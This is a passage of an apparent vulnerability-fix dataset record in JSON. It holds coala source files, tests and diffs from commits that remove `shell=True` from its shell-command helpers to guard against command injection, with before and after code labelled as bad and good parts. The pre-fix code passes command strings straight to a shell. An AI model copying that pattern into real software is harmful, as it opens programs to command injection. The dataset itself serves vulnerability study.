then). :return: A tuple with `(stdoutstring, stderrstring)`. \"\"\" with run_interactive_shell_command(command, **kwargs) as p: ret=p.communicate(stdin) return ret def get_shell_type(): \"\"\" Finds the current shell type based on the outputs of common pre-defined variables in them. This is useful to identify which sort of escaping is required for strings. :return: The shell type. This can be either \"powershell\" if Windows Powershell is detected, \"cmd\" if command prompt is been detected or \"sh\" if it's neither of these. \"\"\" out_hostname, _=run_shell_command([\"echo\", \"$host.name\"]) if out_hostname.strip()==\"ConsoleHost\": return \"powershell\" out_0, _=run_shell_command([\"echo\", \"$0\"]) if out_0.strip()==\"\" and out_0.strip()==\"\": return \"cmd\" return \"sh\" def prepare_string_argument(string, shell=get_shell_type()): \"\"\" Prepares a string argument for being passed as a parameter on shell. On `sh` this function effectively encloses the given string with quotes(either '' or \"\", depending on content). :param string: The string to prepare for shell. :param shell: The shell platform to prepare string argument for. If it is not \"sh\" it will be ignored and return the given string without modification. :return: The shell-prepared string. \"\"\" if shell==\"sh\": return '\"' +escape(string, '\"') +'\"' else: return string def escape_path_argument(path, shell=get_shell_type()): \"\"\" Makes a raw path ready for using as parameter in a shell command(escapes illegal characters, surrounds with quotes etc.). :param path: The path to make ready for shell. :param shell: The shell platform to escape the path argument for. Possible values are \"sh\", \"powershell\", and \"cmd\"(others will be ignored and return the given path without modification). :return: The escaped path argument. \"\"\" if shell==\"cmd\": return '\"' +escape(path, '\"', '^') +'\"' elif shell==\"sh\": return escape(path, \" \") else: return path ", "sourceWithComments": "from contextlib import contextmanager\nfrom subprocess import PIPE, Popen\n\nfrom coalib.parsing.StringProcessing import escape\n\n\n@contextmanager\ndef run_interactive_shell_command(command, **kwargs):\n \"\"\"\n Runs a command in shell and provides stdout, stderr and stdin streams.\n\n This function creates a context manager that sets up the process, returns\n to caller, closes streams and waits for process to exit on leaving.\n\n The process is opened in `universal_newlines` mode.\n\n :param command: The command to run on shell.\n :param kwargs: Additional keyword arguments to pass to `subprocess.Popen`\n that is used to spawn the process (except `shell`,\n `stdout`, `stderr`, `stdin` and `universal_newlines`, a\n `TypeError` is raised then).\n :return: A context manager yielding the process started from the\n command.\n \"\"\"\n process = Popen(command,\n shell=True,\n stdout=PIPE,\n stderr=PIPE,\n stdin=PIPE,\n universal_newlines=True,\n **kwargs)\n try:\n yield process\n finally:\n process.stdout.close()\n process.stderr.close()\n process.stdin.close()\n process.wait()\n\n\ndef run_shell_command(command, stdin=None, **kwargs):\n \"\"\"\n Runs a command in shell and returns the read stdout and stderr data.\n\n This function waits for the process to exit.\n\n :param command: The command to run on shell.\n :param stdin: Initial input to send to the process.\n :param kwargs: Additional keyword arguments to pass to `subprocess.Popen`\n that is used to spawn the process (except `shell`,\n `stdout`, `stderr`, `stdin` and `universal_newlines`, a\n `TypeError` is raised then).\n :return: A tuple with `(stdoutstring, stderrstring)`.\n \"\"\"\n with run_interactive_shell_command(command, **kwargs) as p:\n ret = p.communicate(stdin)\n return ret\n\n\ndef get_shell_type(): # pragma: no cover\n \"\"\"\n Finds the current shell type based on the outputs of common pre-defined\n variables in them. This is useful to identify which sort of escaping\n is required for strings.\n\n :return: The shell type. This can be either \"powershell\" if Windows\n Powershell is detected, \"cmd\" if command prompt is been\n detected or \"sh\" if it's neither of these.\n \"\"\"\n out_hostname, _ = run_shell_command([\"echo\", \"$host.name\"])\n if out_hostname.strip() == \"ConsoleHost\":\n return \"powershell\"\n out_0, _ = run_shell_command([\"echo\", \"$0\"])\n if out_0.strip() == \"\" and out_0.strip() == \"\":\n return \"cmd\"\n return \"sh\"\n\n\ndef prepare_string_argument(string, shell=get_shell_type()):\n \"\"\"\n Prepares a string argument for being passed as a parameter on shell.\n\n On `sh` this function effectively encloses the given string\n with quotes (either '' or \"\", depending on content).\n\n :param string: The string to prepare for shell.\n :param shell: The shell platform to prepare string argument for.\n If it is not \"sh\" it will be ignored and return the\n given string without modification.\n :return: The shell-prepared string.\n \"\"\"\n if shell == \"sh\":\n return '\"' + escape(string, '\"') + '\"'\n else:\n return string\n\n\ndef escape_path_argument(path, shell=get_shell_type()):\n \"\"\"\n Makes a raw path ready for using as parameter in a shell command (escapes\n illegal characters, surrounds with quotes etc.).\n\n :param path: The path to make ready for shell.\n :param shell: The shell platform to escape the path argument for. Possible\n values are \"sh\", \"powershell\", and \"cmd\" (others will be\n ignored and return the given path without modification).\n :return: The escaped path argument.\n \"\"\"\n if shell == \"cmd\":\n # If a quote (\") occurs in path (which is illegal for NTFS file\n # systems, but maybe for others), escape it by preceding it with\n # a caret (^).\n return '\"' + escape(path, '\"', '^') + '\"'\n elif shell == \"sh\":\n return escape(path, \" \")\n else:\n # Any other non-supported system doesn't get a path escape.\n return path\n"}, "/coalib/tests/bearlib/abstractions/LintTest.py": {"changes": [{"diff": "\n with prepare_file([\"abcd\", \"efgh\"], None) as (lines, filename):\n # Use more which is a command that can take stdin and show it.\n # This is available in windows and unix.\n- self.uut.executable = \"more\"\n+ if platform.system() == \"Windows\":\n+ # Windows maps `more.com` to `more` only in shell, but `Lint`\n+ # doesn't use it.\n+ self.uut.executable = \"more.com\"\n+ else:\n+ self.uut.executable = \"more\"\n self.uut.use_stdin = True\n self.uut.use_stderr = False\n self.uut.process_output = lambda output, filename, file: outpu", "add": 6, "remove": 1, "filename": "/coalib/tests/bearlib/abstractions/LintTest.py", "badparts": [" self.uut.executable = \"more\""], "goodparts": [" if platform.system() == \"Windows\":", " self.uut.executable = \"more.com\"", " else:", " self.uut.executable = \"more\""]}], "source": "\nimport os import unittest from coalib.bearlib.abstractions.Lint import Lint from coalib.misc.ContextManagers import prepare_file from coalib.misc.Shell import escape_path_argument from coalib.results.RESULT_SEVERITY import RESULT_SEVERITY from coalib.results.SourceRange import SourceRange from coalib.settings.Section import Section class LintTest(unittest.TestCase): def setUp(self): section=Section(\"some_name\") self.uut=Lint(section, None) def test_invalid_output(self): out=list(self.uut.process_output( [\"1.0|0: Info message\\n\", \"2.2|1: Normal message\\n\", \"3.4|2: Major message\\n\"], \"a/file.py\", ['original_file_lines_placeholder'])) self.assertEqual(len(out), 3) self.assertEqual(out[0].origin, \"Lint\") self.assertEqual(out[0].affected_code[0], SourceRange.from_values(\"a/file.py\", 1, 0)) self.assertEqual(out[0].severity, RESULT_SEVERITY.INFO) self.assertEqual(out[0].message, \"Info message\") self.assertEqual(out[1].affected_code[0], SourceRange.from_values(\"a/file.py\", 2, 2)) self.assertEqual(out[1].severity, RESULT_SEVERITY.NORMAL) self.assertEqual(out[1].message, \"Normal message\") self.assertEqual(out[2].affected_code[0], SourceRange.from_values(\"a/file.py\", 3, 4)) self.assertEqual(out[2].severity, RESULT_SEVERITY.MAJOR) self.assertEqual(out[2].message, \"Major message\") def test_custom_regex(self): self.uut.output_regex=(r'(?P\\w+)\\|' r'(?P\\d+)\\.(?P\\d+)\\|' r'(?P\\d+)\\.(?P\\d+)\\|' r'(?P\\w+):(?P.*)') self.uut.severity_map={\"I\": RESULT_SEVERITY.INFO} out=list(self.uut.process_output( [\"info_msg|1.0|2.3|I: Info message\\n\"], 'a/file.py', ['original_file_lines_placeholder'])) self.assertEqual(len(out), 1) self.assertEqual(out[0].affected_code[0].start.line, 1) self.assertEqual(out[0].affected_code[0].start.column, 0) self.assertEqual(out[0].affected_code[0].end.line, 2) self.assertEqual(out[0].affected_code[0].end.column, 3) self.assertEqual(out[0].severity, RESULT_SEVERITY.INFO) self.assertEqual(out[0].origin, 'Lint(info_msg)') def test_valid_output(self): out=list(self.uut.process_output( [\"Random line that shouldn't be captured\\n\", \"*************\\n\"], 'a/file.py', ['original_file_lines_placeholder'])) self.assertEqual(len(out), 0) def test_stdin_input(self): with prepare_file([\"abcd\", \"efgh\"], None) as(lines, filename): self.uut.executable=\"more\" self.uut.use_stdin=True self.uut.use_stderr=False self.uut.process_output=lambda output, filename, file: output out=self.uut.lint(file=lines) self.assertTrue((\"abcd\\n\", \"efgh\\n\")==out or (\"abcd\\n\", \"efgh\\n\", \"\\n\")==out) def test_stderr_output(self): self.uut.executable=\"echo\" self.uut.arguments=\"hello\" self.uut.use_stdin=False self.uut.use_stderr=True self.uut.process_output=lambda output, filename, file: output out=self.uut.lint(\"unused_filename\") self.assertEqual((), out) self.uut.use_stderr=False out=self.uut.lint(\"unused_filename\") self.assertEqual(('hello\\n',), out) def assert_warn(line): assert line==\"hello\" old_warn=self.uut.warn self.uut.warn=assert_warn self.uut._print_errors([\"hello\", \"\\n\"]) self.uut.warn=old_warn def test_gives_corrected(self): self.uut.gives_corrected=True out=tuple(self.uut.process_output([\"a\", \"b\"], \"filename\",[\"a\", \"b\"])) self.assertEqual((), out) out=tuple(self.uut.process_output([\"a\", \"b\"], \"filename\",[\"a\"])) self.assertEqual(len(out), 1) def test_missing_binary(self): old_binary=Lint.executable invalid_binary=\"invalid_binary_which_doesnt_exist\" Lint.executable=invalid_binary self.assertEqual(Lint.check_prerequisites(), \"'{}' is not installed.\".format(invalid_binary)) Lint.executable=\"echo\" self.assertTrue(Lint.check_prerequisites()) del Lint.executable self.assertTrue(Lint.check_prerequisites()) Lint.executable=old_binary def test_config_file_generator(self): self.uut.executable=\"echo\" self.uut.arguments=\"-c{config_file}\" self.assertEqual( self.uut._create_command(config_file=\"configfile\").strip(), \"echo -c \" +escape_path_argument(\"configfile\")) def test_config_file_generator(self): self.uut.executable=\"echo\" self.uut.config_file=lambda:[\"config line1\"] config_filename=self.uut.generate_config_file() self.assertTrue(os.path.isfile(config_filename)) os.remove(config_filename) self.uut.lint(\"filename\") ", "sourceWithComments": "import os\nimport unittest\n\nfrom coalib.bearlib.abstractions.Lint import Lint\nfrom coalib.misc.ContextManagers import prepare_file\nfrom coalib.misc.Shell import escape_path_argument\nfrom coalib.results.RESULT_SEVERITY import RESULT_SEVERITY\nfrom coalib.results.SourceRange import SourceRange\nfrom coalib.settings.Section import Section\n\n\nclass LintTest(unittest.TestCase):\n\n def setUp(self):\n section = Section(\"some_name\")\n self.uut = Lint(section, None)\n\n def test_invalid_output(self):\n out = list(self.uut.process_output(\n [\"1.0|0: Info message\\n\",\n \"2.2|1: Normal message\\n\",\n \"3.4|2: Major message\\n\"],\n \"a/file.py\",\n ['original_file_lines_placeholder']))\n self.assertEqual(len(out), 3)\n self.assertEqual(out[0].origin, \"Lint\")\n\n self.assertEqual(out[0].affected_code[0],\n SourceRange.from_values(\"a/file.py\", 1, 0))\n self.assertEqual(out[0].severity, RESULT_SEVERITY.INFO)\n self.assertEqual(out[0].message, \"Info message\")\n\n self.assertEqual(out[1].affected_code[0],\n SourceRange.from_values(\"a/file.py\", 2, 2))\n self.assertEqual(out[1].severity, RESULT_SEVERITY.NORMAL)\n self.assertEqual(out[1].message, \"Normal message\")\n\n self.assertEqual(out[2].affected_code[0],\n SourceRange.from_values(\"a/file.py\", 3, 4))\n self.assertEqual(out[2].severity, RESULT_SEVERITY.MAJOR)\n self.assertEqual(out[2].message, \"Major message\")\n\n def test_custom_regex(self):\n self.uut.output_regex = (r'(?P\\w+)\\|'\n r'(?P\\d+)\\.(?P\\d+)\\|'\n r'(?P\\d+)\\.(?P\\d+)\\|'\n r'(?P\\w+): (?P.*)')\n self.uut.severity_map = {\"I\": RESULT_SEVERITY.INFO}\n out = list(self.uut.process_output(\n [\"info_msg|1.0|2.3|I: Info message\\n\"],\n 'a/file.py',\n ['original_file_lines_placeholder']))\n self.assertEqual(len(out), 1)\n self.assertEqual(out[0].affected_code[0].start.line, 1)\n self.assertEqual(out[0].affected_code[0].start.column, 0)\n self.assertEqual(out[0].affected_code[0].end.line, 2)\n self.assertEqual(out[0].affected_code[0].end.column, 3)\n self.assertEqual(out[0].severity, RESULT_SEVERITY.INFO)\n self.assertEqual(out[0].origin, 'Lint (info_msg)')\n\n def test_valid_output(self):\n out = list(self.uut.process_output(\n [\"Random line that shouldn't be captured\\n\",\n \"*************\\n\"],\n 'a/file.py',\n ['original_file_lines_placeholder']))\n self.assertEqual(len(out), 0)\n\n def test_stdin_input(self):\n with prepare_file([\"abcd\", \"efgh\"], None) as (lines, filename):\n # Use more which is a command that can take stdin and show it.\n # This is available in windows and unix.\n self.uut.executable = \"more\"\n self.uut.use_stdin = True\n self.uut.use_stderr = False\n self.uut.process_output = lambda output, filename, file: output\n\n out = self.uut.lint(file=lines)\n # Some implementations of `more` add an extra newline at the end.\n self.assertTrue((\"abcd\\n\", \"efgh\\n\") == out or\n (\"abcd\\n\", \"efgh\\n\", \"\\n\") == out)\n\n def test_stderr_output(self):\n self.uut.executable = \"echo\"\n self.uut.arguments = \"hello\"\n self.uut.use_stdin = False\n self.uut.use_stderr = True\n self.uut.process_output = lambda output, filename, file: output\n out = self.uut.lint(\"unused_filename\")\n self.assertEqual((), out) # stderr is used\n\n self.uut.use_stderr = False\n out = self.uut.lint(\"unused_filename\")\n self.assertEqual(('hello\\n',), out) # stdout is used\n\n def assert_warn(line):\n assert line == \"hello\"\n old_warn = self.uut.warn\n self.uut.warn = assert_warn\n self.uut._print_errors([\"hello\", \"\\n\"])\n self.uut.warn = old_warn\n\n def test_gives_corrected(self):\n self.uut.gives_corrected = True\n out = tuple(self.uut.process_output([\"a\", \"b\"], \"filename\", [\"a\", \"b\"]))\n self.assertEqual((), out)\n out = tuple(self.uut.process_output([\"a\", \"b\"], \"filename\", [\"a\"]))\n self.assertEqual(len(out), 1)\n\n def test_missing_binary(self):\n old_binary = Lint.executable\n invalid_binary = \"invalid_binary_which_doesnt_exist\"\n Lint.executable = invalid_binary\n\n self.assertEqual(Lint.check_prerequisites(),\n \"'{}' is not installed.\".format(invalid_binary))\n\n # \"echo\" is existent on nearly all platforms.\n Lint.executable = \"echo\"\n self.assertTrue(Lint.check_prerequisites())\n\n del Lint.executable\n self.assertTrue(Lint.check_prerequisites())\n\n Lint.executable = old_binary\n\n def test_config_file_generator(self):\n self.uut.executable = \"echo\"\n self.uut.arguments = \"-c {config_file}\"\n\n self.assertEqual(\n self.uut._create_command(config_file=\"configfile\").strip(),\n \"echo -c \" + escape_path_argument(\"configfile\"))\n\n def test_config_file_generator(self):\n self.uut.executable = \"echo\"\n self.uut.config_file = lambda: [\"config line1\"]\n config_filename = self.uut.generate_config_file()\n self.assertTrue(os.path.isfile(config_filename))\n os.remove(config_filename)\n\n # To complete coverage of closing the config file and check if any\n # errors are thrown there.\n self.uut.lint(\"filename\")\n"}, "/coalib/tests/misc/ShellTest.py": {"changes": [{"diff": "\n \n @staticmethod\n def construct_testscript_command(scriptname):\n- return \" \".join(\n- escape_path_argument(s) for s in (\n- sys.executable,\n+ return (sys.executable,\n os.path.join(os.path.dirname(os.path.realpath(__file__)),\n \"run_shell_command_testfiles\",\n- scriptname)))\n+ scriptname))\n \n def test_run_interactive_shell_command(self):\n command = RunShellCommandTest.construct_testscript_command(\n", "add": 2, "remove": 4, "filename": "/coalib/tests/misc/ShellTest.py", "badparts": [" return \" \".join(", " escape_path_argument(s) for s in (", " sys.executable,", " scriptname)))"], "goodparts": [" return (sys.executable,", " scriptname))"]}, {"diff": "\n \n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n- with run_interactive_shell_command(\"some_command\", shell=False):\n+ with run_interactive_shell_command(\"some_command\", stdout=None):\n pass\n \n def test_run_shell_command_without_stdin(self):\n", "add": 1, "remove": 1, "filename": "/coalib/tests/misc/ShellTest.py", "badparts": [" with run_interactive_shell_command(\"some_command\", shell=False):"], "goodparts": [" with run_interactive_shell_command(\"some_command\", stdout=None):"]}], "source": "\nimport os import sys import unittest from coalib.misc.Shell import( escape_path_argument, prepare_string_argument, run_interactive_shell_command, run_shell_command) class EscapePathArgumentTest(unittest.TestCase): def test_escape_path_argument_sh(self): _type=\"sh\" self.assertEqual( escape_path_argument(\"/home/usr/a-file\", _type), \"/home/usr/a-file\") self.assertEqual( escape_path_argument(\"/home/usr/a-dir/\", _type), \"/home/usr/a-dir/\") self.assertEqual( escape_path_argument(\"/home/us r/a-file with spaces.bla\", _type), \"/home/us\\\\ r/a-file\\\\ with\\\\ spaces.bla\") self.assertEqual( escape_path_argument(\"/home/us r/a-dir with spaces/x/\", _type), \"/home/us\\\\ r/a-dir\\\\ with\\\\ spaces/x/\") self.assertEqual( escape_path_argument( \"relative something/with cherries and/pickles.delicious\", _type), \"relative\\\\ something/with\\\\ cherries\\\\ and/pickles.delicious\") def test_escape_path_argument_cmd(self): _type=\"cmd\" self.assertEqual( escape_path_argument(\"C:\\\\Windows\\\\has-a-weird-shell.txt\", _type), \"\\\"C:\\\\Windows\\\\has-a-weird-shell.txt\\\"\") self.assertEqual( escape_path_argument(\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\", _type), \"\\\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\\\"\") self.assertEqual( escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\", _type), \"\\\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\\\"\") self.assertEqual( escape_path_argument(\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\", _type), \"\\\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\\\"\") self.assertEqual( escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\\\\"seven-gates\\\".y\", _type), \"\\\"X:\\\\Users\\\\Maito Gai\\\\^\\\"seven-gates^\\\".y\\\"\") self.assertEqual( escape_path_argument(\"System32\\\\my-custom relative tool\\\\\", _type), \"\\\"System32\\\\my-custom relative tool\\\\\\\"\") self.assertEqual( escape_path_argument(\"System32\\\\illegal\\\" name \\\"\\\".curd\", _type), \"\\\"System32\\\\illegal^\\\" name ^\\\"^\\\".curd\\\"\") def test_escape_path_argument_unsupported(self): _type=\"INVALID\" self.assertEqual( escape_path_argument(\"/home/usr/a-file\", _type), \"/home/usr/a-file\") self.assertEqual( escape_path_argument(\"/home/us r/a-file with spaces.bla\", _type), \"/home/us r/a-file with spaces.bla\") self.assertEqual( escape_path_argument(\"|home|us r|a*dir with spaces|x|\", _type), \"|home|us r|a*dir with spaces|x|\") self.assertEqual( escape_path_argument(\"system|a|b|c?d\", _type), \"system|a|b|c?d\") class RunShellCommandTest(unittest.TestCase): @staticmethod def construct_testscript_command(scriptname): return \" \".join( escape_path_argument(s) for s in( sys.executable, os.path.join(os.path.dirname(os.path.realpath(__file__)), \"run_shell_command_testfiles\", scriptname))) def test_run_interactive_shell_command(self): command=RunShellCommandTest.construct_testscript_command( \"test_interactive_program.py\") with run_interactive_shell_command(command) as p: self.assertEqual(p.stdout.readline(), \"test_program X\\n\") self.assertEqual(p.stdout.readline(), \"Type in a number:\\n\") p.stdin.write(\"33\\n\") p.stdin.flush() self.assertEqual(p.stdout.readline(), \"33\\n\") self.assertEqual(p.stdout.readline(), \"Exiting program.\\n\") def test_run_interactive_shell_command_kwargs_delegation(self): with self.assertRaises(TypeError): with run_interactive_shell_command(\"some_command\", weird_parameter=30): pass with self.assertRaises(TypeError): with run_interactive_shell_command(\"some_command\", shell=False): pass def test_run_shell_command_without_stdin(self): command=RunShellCommandTest.construct_testscript_command( \"test_program.py\") stdout, stderr=run_shell_command(command) expected=(\"test_program Z\\n\" \"non-interactive mode.\\n\" \"Exiting...\\n\") self.assertEqual(stdout, expected) self.assertEqual(stderr, \"\") def test_run_shell_command_with_stdin(self): command=RunShellCommandTest.construct_testscript_command( \"test_input_program.py\") stdout, stderr=run_shell_command(command, \"1 4 10 22\") self.assertEqual(stdout, \"37\\n\") self.assertEqual(stderr, \"\") stdout, stderr=run_shell_command(command, \"1 p 5\") self.assertEqual(stdout, \"\") self.assertEqual(stderr, \"INVALID INPUT\\n\") def test_run_shell_command_kwargs_delegation(self): with self.assertRaises(TypeError): run_shell_command(\"super-cool-command\", weird_parameter2=\"abc\") with self.assertRaises(TypeError): run_shell_command(\"super-cool-command\", universal_newlines=False) class PrepareStringArgumentTest(unittest.TestCase): def setUp(self): self.test_strings=(\"normal_string\", \"string with spaces\", 'string with quotes\"a', \"string with s-quotes'b\", \"bsn \\n A\", \"unrecognized \\\\q escape\") def test_prepare_string_argument_sh(self): expected_results=('\"normal_string\"', '\"string with spaces\"', '\"string with quotes\\\\\"a\"', '\"string with s-quotes\\'b\"', '\"bsn \\n A\"', '\"unrecognized \\\\q escape\"') for string, result in zip(self.test_strings, expected_results): self.assertEqual(prepare_string_argument(string, \"sh\"), result) def test_prepare_string_argument_unsupported(self): for string in self.test_strings: self.assertEqual(prepare_string_argument(string, \"WeIrD_O/S\"), string) ", "sourceWithComments": "import os\nimport sys\nimport unittest\n\nfrom coalib.misc.Shell import (\n escape_path_argument, prepare_string_argument,\n run_interactive_shell_command, run_shell_command)\n\n\nclass EscapePathArgumentTest(unittest.TestCase):\n\n def test_escape_path_argument_sh(self):\n _type = \"sh\"\n self.assertEqual(\n escape_path_argument(\"/home/usr/a-file\", _type),\n \"/home/usr/a-file\")\n self.assertEqual(\n escape_path_argument(\"/home/usr/a-dir/\", _type),\n \"/home/usr/a-dir/\")\n self.assertEqual(\n escape_path_argument(\"/home/us r/a-file with spaces.bla\",\n _type),\n \"/home/us\\\\ r/a-file\\\\ with\\\\ spaces.bla\")\n self.assertEqual(\n escape_path_argument(\"/home/us r/a-dir with spaces/x/\",\n _type),\n \"/home/us\\\\ r/a-dir\\\\ with\\\\ spaces/x/\")\n self.assertEqual(\n escape_path_argument(\n \"relative something/with cherries and/pickles.delicious\",\n _type),\n \"relative\\\\ something/with\\\\ cherries\\\\ and/pickles.delicious\")\n\n def test_escape_path_argument_cmd(self):\n _type = \"cmd\"\n self.assertEqual(\n escape_path_argument(\"C:\\\\Windows\\\\has-a-weird-shell.txt\", _type),\n \"\\\"C:\\\\Windows\\\\has-a-weird-shell.txt\\\"\")\n self.assertEqual(\n escape_path_argument(\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\", _type),\n \"\\\"C:\\\\Windows\\\\lolrofl\\\\dirs\\\\\\\"\")\n self.assertEqual(\n escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\", _type),\n \"\\\"X:\\\\Users\\\\Maito Gai\\\\fi le.exe\\\"\")\n self.assertEqual(\n escape_path_argument(\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\",\n _type),\n \"\\\"X:\\\\Users\\\\Mai to Gai\\\\director y\\\\\\\"\")\n self.assertEqual(\n escape_path_argument(\"X:\\\\Users\\\\Maito Gai\\\\\\\"seven-gates\\\".y\",\n _type),\n \"\\\"X:\\\\Users\\\\Maito Gai\\\\^\\\"seven-gates^\\\".y\\\"\")\n self.assertEqual(\n escape_path_argument(\"System32\\\\my-custom relative tool\\\\\",\n _type),\n \"\\\"System32\\\\my-custom relative tool\\\\\\\"\")\n self.assertEqual(\n escape_path_argument(\"System32\\\\illegal\\\" name \\\"\\\".curd\", _type),\n \"\\\"System32\\\\illegal^\\\" name ^\\\"^\\\".curd\\\"\")\n\n def test_escape_path_argument_unsupported(self):\n _type = \"INVALID\"\n self.assertEqual(\n escape_path_argument(\"/home/usr/a-file\", _type),\n \"/home/usr/a-file\")\n self.assertEqual(\n escape_path_argument(\"/home/us r/a-file with spaces.bla\", _type),\n \"/home/us r/a-file with spaces.bla\")\n self.assertEqual(\n escape_path_argument(\"|home|us r|a*dir with spaces|x|\", _type),\n \"|home|us r|a*dir with spaces|x|\")\n self.assertEqual(\n escape_path_argument(\"system|a|b|c?d\", _type),\n \"system|a|b|c?d\")\n\n\nclass RunShellCommandTest(unittest.TestCase):\n\n @staticmethod\n def construct_testscript_command(scriptname):\n return \" \".join(\n escape_path_argument(s) for s in (\n sys.executable,\n os.path.join(os.path.dirname(os.path.realpath(__file__)),\n \"run_shell_command_testfiles\",\n scriptname)))\n\n def test_run_interactive_shell_command(self):\n command = RunShellCommandTest.construct_testscript_command(\n \"test_interactive_program.py\")\n\n with run_interactive_shell_command(command) as p:\n self.assertEqual(p.stdout.readline(), \"test_program X\\n\")\n self.assertEqual(p.stdout.readline(), \"Type in a number:\\n\")\n p.stdin.write(\"33\\n\")\n p.stdin.flush()\n self.assertEqual(p.stdout.readline(), \"33\\n\")\n self.assertEqual(p.stdout.readline(), \"Exiting program.\\n\")\n\n def test_run_interactive_shell_command_kwargs_delegation(self):\n with self.assertRaises(TypeError):\n with run_interactive_shell_command(\"some_command\",\n weird_parameter=30):\n pass\n\n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n with run_interactive_shell_command(\"some_command\", shell=False):\n pass\n\n def test_run_shell_command_without_stdin(self):\n command = RunShellCommandTest.construct_testscript_command(\n \"test_program.py\")\n\n stdout, stderr = run_shell_command(command)\n\n expected = (\"test_program Z\\n\"\n \"non-interactive mode.\\n\"\n \"Exiting...\\n\")\n self.assertEqual(stdout, expected)\n self.assertEqual(stderr, \"\")\n\n def test_run_shell_command_with_stdin(self):\n command = RunShellCommandTest.construct_testscript_command(\n \"test_input_program.py\")\n\n stdout, stderr = run_shell_command(command, \"1 4 10 22\")\n\n self.assertEqual(stdout, \"37\\n\")\n self.assertEqual(stderr, \"\")\n\n stdout, stderr = run_shell_command(command, \"1 p 5\")\n\n self.assertEqual(stdout, \"\")\n self.assertEqual(stderr, \"INVALID INPUT\\n\")\n\n def test_run_shell_command_kwargs_delegation(self):\n with self.assertRaises(TypeError):\n run_shell_command(\"super-cool-command\", weird_parameter2=\"abc\")\n\n # Test one of the forbidden parameters.\n with self.assertRaises(TypeError):\n run_shell_command(\"super-cool-command\", universal_newlines=False)\n\n\nclass PrepareStringArgumentTest(unittest.TestCase):\n\n def setUp(self):\n self.test_strings = (\"normal_string\",\n \"string with spaces\",\n 'string with quotes\"a',\n \"string with s-quotes'b\",\n \"bsn \\n A\",\n \"unrecognized \\\\q escape\")\n\n def test_prepare_string_argument_sh(self):\n expected_results = ('\"normal_string\"',\n '\"string with spaces\"',\n '\"string with quotes\\\\\"a\"',\n '\"string with s-quotes\\'b\"',\n '\"bsn \\n A\"',\n '\"unrecognized \\\\q escape\"')\n\n for string, result in zip(self.test_strings, expected_results):\n self.assertEqual(prepare_string_argument(string, \"sh\"),\n result)\n\n def test_prepare_string_argument_unsupported(self):\n for string in self.test_strings:\n self.assertEqual(prepare_string_argument(string, \"WeIrD_O/S\"),\n string)\n"}}, "msg": "Shell.run_shell_command: Remove `shell=True`\n\nThis protects us against shell injection and also surprises due to\nshell interpretation.\n\nFor compatability use `shlex.split()` when providing a string as a\ncommand and not a sequence.\n\nAlso the `ShellTest` needs adaption since it used a shell-command\nbefore which is not possible any more. Now argument-lists are used\ninstead.\n\nFixes https://github.com/coala-analyzer/coala/issues/1264."}, "801092d1f01896f6c627cea35d1beeb82a533f5a": {"url": "https://api.github.com/repos/rimacone/testing/commits/801092d1f01896f6c627cea35d1beeb82a533f5a", "html_url": "https://github.com/rimacone/testing/commit/801092d1f01896f6c627cea35d1beeb82a533f5a", "message": "Shell.run_shell_command: Remove `shell=True`\n\nThis protects us against shell injection and also surprises due to\nshell interpretation.\n\nFor compatability use `shlex.split()` when providing a string as a\ncommand and not a sequence.\n\nAlso the `ShellTest` needs adaption since it used a shell-command\nbefore which is not possible any more. Now argument-lists are used\ninstead.\n\n`Lint` does still use `shell=True` for compatability purposes. This\nwill be changed in following commits.\n\nThis reintroduces commit adc94c745e4d9f792fd9c9791c7b4cd8790d0d2f.", "sha": "801092d1f01896f6c627cea35d1beeb82a533f5a", "keyword": "command injection protect", "diff": "diff --git a/coalib/bearlib/abstractions/Lint.py b/coalib/bearlib/abstractions/Lint.py\nindex 5c02d767..7bc44838 100644\n--- a/coalib/bearlib/abstractions/Lint.py\n+++ b/coalib/bearlib/abstractions/Lint.py\n@@ -93,7 +93,8 @@ def lint(self, filename=None, file=None):\n \n stdin_input = \"\".join(file) if self.use_stdin else None\n stdout_output, stderr_output = run_shell_command(self.command,\n- stdin=stdin_input)\n+ stdin=stdin_input,\n+ shell=True)\n self.stdout_output = tuple(stdout_output.splitlines(keepends=True))\n self.stderr_output = tuple(stderr_output.splitlines(keepends=True))\n results_output = (self.stderr_output if self.use_stderr\ndiff --git a/coalib/misc/Shell.py b/coalib/misc/Shell.py\nindex 4ef9c387..7dfdc45e 100644\n--- a/coalib/misc/Shell.py\n+++ b/coalib/misc/Shell.py\n@@ -1,4 +1,5 @@\n from contextlib import contextmanager\n+import shlex\n from subprocess import PIPE, Popen\n \n from coalib.parsing.StringProcessing import escape\n@@ -7,23 +8,36 @@\n @contextmanager\n def run_interactive_shell_command(command, **kwargs):\n \"\"\"\n- Runs a command in shell and provides stdout, stderr and stdin streams.\n-\n- This function creates a context manager that sets up the process, returns\n- to caller, closes streams and waits for process to exit on leaving.\n-\n- The process is opened in ``universal_newlines`` mode.\n-\n- :param command: The command to run on shell.\n- :param kwargs: Additional keyword arguments to pass to ``subprocess.Popen``\n- that is used to spawn the process (except ``shell``,\n- ``stdout``, ``stderr``, ``stdin`` and\n+ Runs a single command in shell and provides stdout, stderr and stdin\n+ streams.\n+\n+ This function creates a context manager that sets up the process (using\n+ ``subprocess.Popen()``), returns to caller, closes streams and waits for\n+ process to exit on leaving.\n+\n+ Shell execution is disabled by default (so no shell expansion takes place).\n+ If you want to turn shell execution on, you can pass ``shell=True`` like\n+ you would do for ``subprocess.Popen()``.\n+\n+ The process is opened in ``universal_newlines`` mode by default.\n+\n+ :param command: The command to run on shell. This parameter can either\n+ be a sequence of arguments that are directly passed to\n+ the process or a string. A string gets splitted beforehand\n+ using ``shlex.split()``. If providing ``shell=True`` as a\n+ keyword-argument, no ``shlex.split()`` is performed and the\n+ command string goes directly to ``subprocess.Popen()``.\n+ :param kwargs: Additional keyword arguments to pass to\n+ ``subprocess.Popen`` that is used to spawn the process\n+ (except ``stdout``, ``stderr``, ``stdin`` and\n ``universal_newlines``, a 